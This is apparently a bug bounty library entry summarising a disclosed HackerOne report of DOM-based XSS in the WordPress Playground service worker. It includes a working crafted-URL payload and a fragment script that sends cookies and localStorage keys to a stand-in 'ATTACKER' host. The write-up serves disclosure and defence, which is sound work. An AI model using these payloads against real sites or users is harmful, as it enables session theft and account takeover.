# DOM-based XSS in playground.wordpress.net (/scope:*/wp-includes/empty.html) lets any attacker run JavaScript on the origin via a single crafted link

Playground service worker writes the URL fragment into a no-CSP page via document.write, giving DOM XSS on playground.wordpress.net and cookie/localStorage theft.

- Payout: hidden
- Severity: low
- Program: WordPress
- Found by: ariverapoblet
- Disclosed: 2026-11-11
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/3863343
- Library page: https://bugbountylibrary.com/r/h1%3A3863343
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:low tech:wordpress technique:source-review vuln:xss

**Target:** Service worker-synthesized page at /scope:<id>/wp-includes/empty.html
**Root cause:** The Playground service worker (sw.js, function dc()) intercepts any /scope:<id>/wp-includes/empty.html request and returns a static page that runs document.write(decodeURIComponent(location.hash)) with no sanitization and no CSP.
**Steps:**
1. Load https://playground.wordpress.net/ once so the service worker registers.
2. Open `https://playground.wordpress.net/scope:x/wp-includes/empty.html#%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E` — alert fires on the real origin, top frame, no CSP.
3. For exfil, use fragment `#<script>fetch('https://ATTACKER/?c='+encodeURIComponent(document.cookie)+'&l='+encodeURIComponent(Object.keys(localStorage)))</script>` and observe the request with Origin: https://playground.wordpress.net.
**How found:** Noticed the service worker synthesizes a page for arbitrary /scope:<id>/wp-includes/empty.html paths and that it document.writes the decoded location.hash; recognized the hash as an attacker-controlled DOM XSS sink on the real origin.
**Exploitation:** Attacker sends a single crafted link; victim who previously used Playground has the service worker active, so the fragment is written into the top-level origin document and arbitrary JS runs, exfiltrating document.cookie and localStorage to an attacker server (no CSP connect-src restriction).
**Insight:** Service workers that synthesize HTML for arbitrary path prefixes can turn benign upstream files (like empty.html) into executable sinks; check sw.js fetch handlers for document.write/innerHTML of location.hash, and note fragments bypass server logs and WAFs.

## Proof of concept (copied exactly from the original report)

**Crafted URL with img onerror alert payload**

```
https://playground.wordpress.net/scope:x/wp-includes/empty.html#%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E
```

**Service worker page that document.writes the hash**

```
<!doctype html><script>
  const hash = window.location.hash.substring(1);
  if (hash) document.write(decodeURIComponent(hash));
```

**Cookie/localStorage exfiltration payload in fragment**

```
#<script>fetch('https://ATTACKER/?c='+encodeURIComponent(document.cookie)+'&l='+encodeURIComponent(Object.keys(localStorage)))</script>
```

